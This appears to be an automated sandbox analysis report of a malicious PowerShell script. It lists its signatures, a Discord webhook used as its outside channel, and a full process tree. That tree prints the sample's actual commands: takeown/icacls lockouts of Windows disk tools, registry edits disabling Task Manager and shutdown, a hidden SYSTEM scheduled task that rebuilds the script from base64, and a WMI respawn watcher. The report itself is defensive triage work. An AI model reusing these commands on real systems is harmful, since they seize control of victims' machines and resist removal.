1e4388c45e8b07ca77b7e3b59fc1152b6c74668aad15df1e9230489b5ab3b827

Analysis

max time kernel
30s
max time network
31s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
19/06/2026, 20:02

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
target.ps1
Size 12KB
Sample260619-yr7h4sbs8l
SHA256 1e4388c45e8b07ca77b7e3b59fc1152b6c74668aad15df1e9230489b5ab3b827
MD5 4c47e1405c6fa862f6cda3b2d2a82469
SHA1 3966cd1be2209ebceb1a8827cfaa4cac4f357d58
SHA512 62b47860e2a8dfe89cd7270c12b156532fe7f18771553e75401c47105ca4dc93cf4149cb043d36a165cde5f8bcbfe8445795ffedcd8bf7a6cd8f84e3ffb67c52
SSDEEP 192:IxpsFtt8sPbKr0wsJThJ1mrLLqmNtoiuVm/1/RxCCWEKM3uCCr597AH14EM1f:IfUt8wKr0n80PVm/vxBWEKAuBr5RAHi
TLSH
T1B54283517A24A266CAF2DF3AD8D7E506DF6F503B11629A0039ACD090BF71166C338BC9
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution exploit persistence

Malware Config

Extracted

Language

Source

URLs

exe.dropper
https://discord.com/api/webhooks/1517617235458396332/8x5Z8fIvZEa17_4ju_jle3I3XrxTk4jUoZlAnGuNiiKeW-HDZ1T1kzcba-vkbCOZYdVi

Signatures

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
11	872	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 10 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1716	powershell.exe
2252	powershell.exe
3352	powershell.exe
872	powershell.exe
2032	powershell.exe
4856	powershell.exe
4764	powershell.exe
1036	powershell.exe
2404	powershell.exe
2684	powershell.exe

Possible privilege escalation attempt 28 IoCs

exploit

pid	Process
5076	takeown.exe
2732	takeown.exe
4628	icacls.exe
4776	icacls.exe
3340	takeown.exe
1520	icacls.exe
3680	icacls.exe
2128	icacls.exe
3968	takeown.exe
1700	icacls.exe
2172	takeown.exe
4708	icacls.exe
4848	icacls.exe
1256	takeown.exe
3660	icacls.exe
3400	takeown.exe
948	icacls.exe
2548	takeown.exe
1564	takeown.exe
4540	takeown.exe
3768	takeown.exe
2148	takeown.exe
996	takeown.exe
2128	takeown.exe
1636	icacls.exe
1056	icacls.exe
2188	icacls.exe
620	icacls.exe

Modifies file permissions 1 TTPs 28 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
1564	takeown.exe
1700	icacls.exe
2128	takeown.exe
4540	takeown.exe
4776	icacls.exe
1056	icacls.exe
4708	icacls.exe
3340	takeown.exe
3968	takeown.exe
3768	takeown.exe
3660	icacls.exe
948	icacls.exe
1636	icacls.exe
2188	icacls.exe
620	icacls.exe
4848	icacls.exe
3680	icacls.exe
3400	takeown.exe
2128	icacls.exe
4628	icacls.exe
5076	takeown.exe
2732	takeown.exe
1256	takeown.exe
1520	icacls.exe
2548	takeown.exe
2148	takeown.exe
996	takeown.exe
2172	takeown.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SystemUpdate = "powershell -WindowStyle Hidden -ExecutionPolicy Bypass -File \"C:\\ProgramData\\Microsoft\\Windows\\SystemUpdate\\SysUpdate.ps1\""	powershell.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SystemUpdate = "powershell -WindowStyle Hidden -ExecutionPolicy Bypass -File \"C:\\ProgramData\\Microsoft\\Windows\\SystemUpdate\\SysUpdate.ps1\""	powershell.exe

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
10	discord.com
11	discord.com

File and Directory Permissions Modification: Windows File and Directory Permissions Modification 1 TTPs
defense_evasion

Windows File and Directory Permissions Modification
T1222.001

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3444	schtasks.exe
3508	schtasks.exe

Suspicious behavior: EnumeratesProcesses 23 IoCs

pid	Process
2252	powershell.exe
2252	powershell.exe
2404	powershell.exe
2684	powershell.exe
2404	powershell.exe
872	powershell.exe
2684	powershell.exe
872	powershell.exe
2032	powershell.exe
2032	powershell.exe
2032	powershell.exe
4856	powershell.exe
4856	powershell.exe
1716	powershell.exe
1716	powershell.exe
4856	powershell.exe
1716	powershell.exe
3352	powershell.exe
3352	powershell.exe
4764	powershell.exe
1036	powershell.exe
4764	powershell.exe
1036	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2252	powershell.exe
Token: SeIncreaseQuotaPrivilege	2252	powershell.exe
Token: SeSecurityPrivilege	2252	powershell.exe
Token: SeTakeOwnershipPrivilege	2252	powershell.exe
Token: SeLoadDriverPrivilege	2252	powershell.exe
Token: SeSystemProfilePrivilege	2252	powershell.exe
Token: SeSystemtimePrivilege	2252	powershell.exe
Token: SeProfSingleProcessPrivilege	2252	powershell.exe
Token: SeIncBasePriorityPrivilege	2252	powershell.exe
Token: SeCreatePagefilePrivilege	2252	powershell.exe
Token: SeBackupPrivilege	2252	powershell.exe
Token: SeRestorePrivilege	2252	powershell.exe
Token: SeShutdownPrivilege	2252	powershell.exe
Token: SeDebugPrivilege	2252	powershell.exe
Token: SeSystemEnvironmentPrivilege	2252	powershell.exe
Token: SeRemoteShutdownPrivilege	2252	powershell.exe
Token: SeUndockPrivilege	2252	powershell.exe
Token: SeManageVolumePrivilege	2252	powershell.exe
Token: 33	2252	powershell.exe
Token: 34	2252	powershell.exe
Token: 35	2252	powershell.exe
Token: 36	2252	powershell.exe
Token: SeIncreaseQuotaPrivilege	2252	powershell.exe
Token: SeSecurityPrivilege	2252	powershell.exe
Token: SeTakeOwnershipPrivilege	2252	powershell.exe
Token: SeLoadDriverPrivilege	2252	powershell.exe
Token: SeSystemProfilePrivilege	2252	powershell.exe
Token: SeSystemtimePrivilege	2252	powershell.exe
Token: SeProfSingleProcessPrivilege	2252	powershell.exe
Token: SeIncBasePriorityPrivilege	2252	powershell.exe
Token: SeCreatePagefilePrivilege	2252	powershell.exe
Token: SeBackupPrivilege	2252	powershell.exe
Token: SeRestorePrivilege	2252	powershell.exe
Token: SeShutdownPrivilege	2252	powershell.exe
Token: SeDebugPrivilege	2252	powershell.exe
Token: SeSystemEnvironmentPrivilege	2252	powershell.exe
Token: SeRemoteShutdownPrivilege	2252	powershell.exe
Token: SeUndockPrivilege	2252	powershell.exe
Token: SeManageVolumePrivilege	2252	powershell.exe
Token: 33	2252	powershell.exe
Token: 34	2252	powershell.exe
Token: 35	2252	powershell.exe
Token: 36	2252	powershell.exe
Token: SeIncreaseQuotaPrivilege	2252	powershell.exe
Token: SeSecurityPrivilege	2252	powershell.exe
Token: SeTakeOwnershipPrivilege	2252	powershell.exe
Token: SeLoadDriverPrivilege	2252	powershell.exe
Token: SeSystemProfilePrivilege	2252	powershell.exe
Token: SeSystemtimePrivilege	2252	powershell.exe
Token: SeProfSingleProcessPrivilege	2252	powershell.exe
Token: SeIncBasePriorityPrivilege	2252	powershell.exe
Token: SeCreatePagefilePrivilege	2252	powershell.exe
Token: SeBackupPrivilege	2252	powershell.exe
Token: SeRestorePrivilege	2252	powershell.exe
Token: SeShutdownPrivilege	2252	powershell.exe
Token: SeDebugPrivilege	2252	powershell.exe
Token: SeSystemEnvironmentPrivilege	2252	powershell.exe
Token: SeRemoteShutdownPrivilege	2252	powershell.exe
Token: SeUndockPrivilege	2252	powershell.exe
Token: SeManageVolumePrivilege	2252	powershell.exe
Token: 33	2252	powershell.exe
Token: 34	2252	powershell.exe
Token: 35	2252	powershell.exe
Token: 36	2252	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2252 wrote to memory of 1772	2252	powershell.exe	90
PID 2252 wrote to memory of 2140	2252	powershell.exe	92
PID 2252 wrote to memory of 4632	2252	powershell.exe	94
PID 2252 wrote to memory of 3312	2252	powershell.exe	96
PID 1772 wrote to memory of 5076	1772	cmd.exe	98
PID 2252 wrote to memory of 4260	2252	powershell.exe	99
PID 2140 wrote to memory of 3768	2140	cmd.exe	101
PID 1772 wrote to memory of 4848	1772	cmd.exe	102
PID 4632 wrote to memory of 2732	4632	cmd.exe	151
PID 2252 wrote to memory of 4784	2252	powershell.exe	104
PID 3312 wrote to memory of 1256	3312	cmd.exe	106
PID 2140 wrote to memory of 1520	2140	cmd.exe	107
PID 3312 wrote to memory of 3660	3312	cmd.exe	156
PID 4632 wrote to memory of 3680	4632	cmd.exe	157
PID 4260 wrote to memory of 3400	4260	cmd.exe	110
PID 2252 wrote to memory of 744	2252	powershell.exe	111
PID 4260 wrote to memory of 948	4260	cmd.exe	113
PID 2252 wrote to memory of 4092	2252	powershell.exe	114
PID 4784 wrote to memory of 2548	4784	cmd.exe	116
PID 2252 wrote to memory of 4380	2252	powershell.exe	117
PID 2252 wrote to memory of 4968	2252	powershell.exe	119
PID 4784 wrote to memory of 2128	4784	cmd.exe	165
PID 2252 wrote to memory of 2404	2252	powershell.exe	122
PID 744 wrote to memory of 416	744	cmd.exe	124
PID 2252 wrote to memory of 3000	2252	powershell.exe	125
PID 4380 wrote to memory of 4364	4380	cmd.exe	127
PID 4968 wrote to memory of 1484	4968	cmd.exe	128
PID 2252 wrote to memory of 3224	2252	powershell.exe	129
PID 4092 wrote to memory of 4524	4092	cmd.exe	131
PID 2252 wrote to memory of 2684	2252	powershell.exe	132
PID 2252 wrote to memory of 872	2252	powershell.exe	134
PID 3000 wrote to memory of 3968	3000	cmd.exe	136
PID 3000 wrote to memory of 4628	3000	cmd.exe	138
PID 3224 wrote to memory of 3444	3224	cmd.exe	186
PID 872 wrote to memory of 380	872	powershell.exe	140
PID 872 wrote to memory of 1756	872	powershell.exe	142
PID 872 wrote to memory of 4220	872	powershell.exe	144
PID 872 wrote to memory of 1648	872	powershell.exe	146
PID 872 wrote to memory of 3388	872	powershell.exe	148
PID 872 wrote to memory of 4352	872	powershell.exe	150
PID 380 wrote to memory of 2148	380	cmd.exe	152
PID 872 wrote to memory of 1804	872	powershell.exe	153
PID 1756 wrote to memory of 1564	1756	cmd.exe	155
PID 872 wrote to memory of 3660	872	powershell.exe	156
PID 872 wrote to memory of 4544	872	powershell.exe	158
PID 380 wrote to memory of 1700	380	cmd.exe	160
PID 1648 wrote to memory of 996	1648	cmd.exe	161
PID 872 wrote to memory of 3924	872	powershell.exe	162
PID 3388 wrote to memory of 2172	3388	cmd.exe	164
PID 4220 wrote to memory of 2128	4220	cmd.exe	165
PID 4352 wrote to memory of 4540	4352	cmd.exe	166
PID 872 wrote to memory of 2032	872	powershell.exe	167
PID 1648 wrote to memory of 1636	1648	cmd.exe	168
PID 1756 wrote to memory of 4776	1756	cmd.exe	169
PID 872 wrote to memory of 4432	872	powershell.exe	171
PID 872 wrote to memory of 768	872	powershell.exe	173
PID 1804 wrote to memory of 376	1804	cmd.exe	175
PID 872 wrote to memory of 4856	872	powershell.exe	176
PID 3660 wrote to memory of 3448	3660	cmd.exe	177
PID 3388 wrote to memory of 4708	3388	cmd.exe	179
PID 872 wrote to memory of 1716	872	powershell.exe	180
PID 4352 wrote to memory of 1056	4352	cmd.exe	182
PID 3924 wrote to memory of 2332	3924	cmd.exe	183
PID 4220 wrote to memory of 2188	4220	cmd.exe	184

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\target.ps1
1⤵
- Command and Scripting Interpreter: PowerShell
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2252
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c takeown /f "C:\Windows\System32\diskpart.exe" && icacls "C:\Windows\System32\diskpart.exe" /deny Everyone:(X)
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1772
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Windows\System32\diskpart.exe"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:5076
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\diskpart.exe" /deny Everyone:(X)
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:4848
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c takeown /f "C:\Windows\System32\format.com" && icacls "C:\Windows\System32\format.com" /deny Everyone:(X)
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2140
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Windows\System32\format.com"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:3768
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\format.com" /deny Everyone:(X)
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1520
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c takeown /f "C:\Windows\System32\cleanmgr.exe" && icacls "C:\Windows\System32\cleanmgr.exe" /deny Everyone:(X)
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4632
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Windows\System32\cleanmgr.exe"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2732
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\cleanmgr.exe" /deny Everyone:(X)
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:3680
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c takeown /f "C:\Windows\System32\defrag.exe" && icacls "C:\Windows\System32\defrag.exe" /deny Everyone:(X)
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3312
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Windows\System32\defrag.exe"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1256
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\defrag.exe" /deny Everyone:(X)
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:3660
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c takeown /f "C:\Windows\System32\diskmgmt.msc" && icacls "C:\Windows\System32\diskmgmt.msc" /deny Everyone:(X)
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4260
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Windows\System32\diskmgmt.msc"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:3400
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\diskmgmt.msc" /deny Everyone:(X)
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:948
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c takeown /f "C:\Windows\System32\compmgmt.msc" && icacls "C:\Windows\System32\compmgmt.msc" /deny Everyone:(X)
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4784
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Windows\System32\compmgmt.msc"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2548
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\compmgmt.msc" /deny Everyone:(X)
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2128
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v ShutdownWithoutLogon /t REG_DWORD /d 0 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:744
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v ShutdownWithoutLogon /t REG_DWORD /d 0 /f
    3⤵
    PID:416
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v DisplayShutdownButton /t REG_DWORD /d 0 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4092
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v DisplayShutdownButton /t REG_DWORD /d 0 /f
    3⤵
    PID:4524
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4380
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
    3⤵
    PID:4364
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoClose /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4968
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoClose /t REG_DWORD /d 1 /f
    3⤵
    PID:1484
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Add-Type -TypeDefinition @" using System; using System.Windows.Forms; public class Blocker : Form { protected override void WndProc(ref Message m) { if (m.Msg == 0x11) { m.Result = (IntPtr)0; return; } base.WndProc(ref m); } } "@ -ReferencedAssemblies System.Windows.Forms [Application]::Run(new Blocker())"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2404
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c takeown /f "C:\ProgramData\Microsoft\Windows\SystemUpdate\SysUpdate.ps1" && icacls "C:\ProgramData\Microsoft\Windows\SystemUpdate\SysUpdate.ps1" /grant SYSTEM:F /grant Administrators:F /deny Everyone:(DE,WD,AD)
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3000
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\ProgramData\Microsoft\Windows\SystemUpdate\SysUpdate.ps1"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:3968
- - C:\Windows\system32\icacls.exe
    icacls "C:\ProgramData\Microsoft\Windows\SystemUpdate\SysUpdate.ps1" /grant SYSTEM:F /grant Administrators:F /deny Everyone:(DE,WD,AD)
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:4628
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c schtasks /create /tn "MicrosoftSystemUpdateRepair" /tr "powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command $b64 = (Get-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\SystemUpdate' -Name 'ScriptB64' -ErrorAction SilentlyContinue).ScriptB64; if ($b64) { $bytes = [Convert]::FromBase64String($b64); $content = [System.Text.Encoding]::UTF8.GetString($bytes); $dir = 'C:\ProgramData\Microsoft\Windows\SystemUpdate'; if (-not (Test-Path $dir)) { New-Item -Path $dir -ItemType Directory -Force | Out-Null }; $path = Join-Path $dir 'SysUpdate.ps1'; if (-not (Test-Path $path)) { Set-Content -Path $path -Value $content -Force; Start-Process -WindowStyle Hidden -FilePath powershell -ArgumentList "-WindowStyle Hidden -ExecutionPolicy Bypass -File "$path"" } }" /sc minute /mo 1 /ru SYSTEM /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3224
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "MicrosoftSystemUpdateRepair" /tr "powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3444
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Register-WmiEvent -Query "SELECT * FROM Win32_ProcessStopTrace WHERE ProcessName='powershell.exe'" -Action { if ($Event.SourceEventArgs.NewEvent.ProcessName -eq 'powershell') { Start-Process -WindowStyle Hidden -FilePath powershell -ArgumentList "-File "C:\ProgramData\Microsoft\Windows\SystemUpdate\SysUpdate.ps1" -keep" } }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2684
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -File "C:\ProgramData\Microsoft\Windows\SystemUpdate\SysUpdate.ps1"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Adds Run key to start application
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:872
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c takeown /f "C:\Windows\System32\diskpart.exe" && icacls "C:\Windows\System32\diskpart.exe" /deny Everyone:(X)
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:380
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\System32\diskpart.exe"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2148
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\System32\diskpart.exe" /deny Everyone:(X)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1700
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c takeown /f "C:\Windows\System32\format.com" && icacls "C:\Windows\System32\format.com" /deny Everyone:(X)
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1756
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\System32\format.com"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1564
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\System32\format.com" /deny Everyone:(X)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4776
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c takeown /f "C:\Windows\System32\cleanmgr.exe" && icacls "C:\Windows\System32\cleanmgr.exe" /deny Everyone:(X)
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4220
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\System32\cleanmgr.exe"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2128
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\System32\cleanmgr.exe" /deny Everyone:(X)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2188
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c takeown /f "C:\Windows\System32\defrag.exe" && icacls "C:\Windows\System32\defrag.exe" /deny Everyone:(X)
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1648
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\System32\defrag.exe"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:996
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\System32\defrag.exe" /deny Everyone:(X)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1636
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c takeown /f "C:\Windows\System32\diskmgmt.msc" && icacls "C:\Windows\System32\diskmgmt.msc" /deny Everyone:(X)
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3388
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\System32\diskmgmt.msc"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2172
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\System32\diskmgmt.msc" /deny Everyone:(X)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4708
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c takeown /f "C:\Windows\System32\compmgmt.msc" && icacls "C:\Windows\System32\compmgmt.msc" /deny Everyone:(X)
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4352
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:2732
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\System32\compmgmt.msc"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4540
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\System32\compmgmt.msc" /deny Everyone:(X)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1056
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v ShutdownWithoutLogon /t REG_DWORD /d 0 /f
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1804
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v ShutdownWithoutLogon /t REG_DWORD /d 0 /f
      4⤵
      PID:376
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v DisplayShutdownButton /t REG_DWORD /d 0 /f
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3660
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:3680
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v DisplayShutdownButton /t REG_DWORD /d 0 /f
      4⤵
      PID:3448
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
    3⤵
    PID:4544
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      PID:3444
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoClose /t REG_DWORD /d 1 /f
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3924
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoClose /t REG_DWORD /d 1 /f
      4⤵
      PID:2332
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Add-Type -TypeDefinition @" using System; using System.Windows.Forms; public class Blocker : Form { protected override void WndProc(ref Message m) { if (m.Msg == 0x11) { m.Result = (IntPtr)0; return; } base.WndProc(ref m); } } "@ -ReferencedAssemblies System.Windows.Forms [Application]::Run(new Blocker())"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:2032
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c takeown /f "C:\ProgramData\Microsoft\Windows\SystemUpdate\SysUpdate.ps1" && icacls "C:\ProgramData\Microsoft\Windows\SystemUpdate\SysUpdate.ps1" /grant SYSTEM:F /grant Administrators:F /deny Everyone:(DE,WD,AD)
    3⤵
    PID:4432
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\ProgramData\Microsoft\Windows\SystemUpdate\SysUpdate.ps1"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3340
  - - C:\Windows\system32\icacls.exe
      icacls "C:\ProgramData\Microsoft\Windows\SystemUpdate\SysUpdate.ps1" /grant SYSTEM:F /grant Administrators:F /deny Everyone:(DE,WD,AD)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:620
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c schtasks /create /tn "MicrosoftSystemUpdateRepair" /tr "powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command $b64 = (Get-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\SystemUpdate' -Name 'ScriptB64' -ErrorAction SilentlyContinue).ScriptB64; if ($b64) { $bytes = [Convert]::FromBase64String($b64); $content = [System.Text.Encoding]::UTF8.GetString($bytes); $dir = 'C:\ProgramData\Microsoft\Windows\SystemUpdate'; if (-not (Test-Path $dir)) { New-Item -Path $dir -ItemType Directory -Force | Out-Null }; $path = Join-Path $dir 'SysUpdate.ps1'; if (-not (Test-Path $path)) { Set-Content -Path $path -Value $content -Force; Start-Process -WindowStyle Hidden -FilePath powershell -ArgumentList "-WindowStyle Hidden -ExecutionPolicy Bypass -File "$path"" } }" /sc minute /mo 1 /ru SYSTEM /f
    3⤵
    PID:768
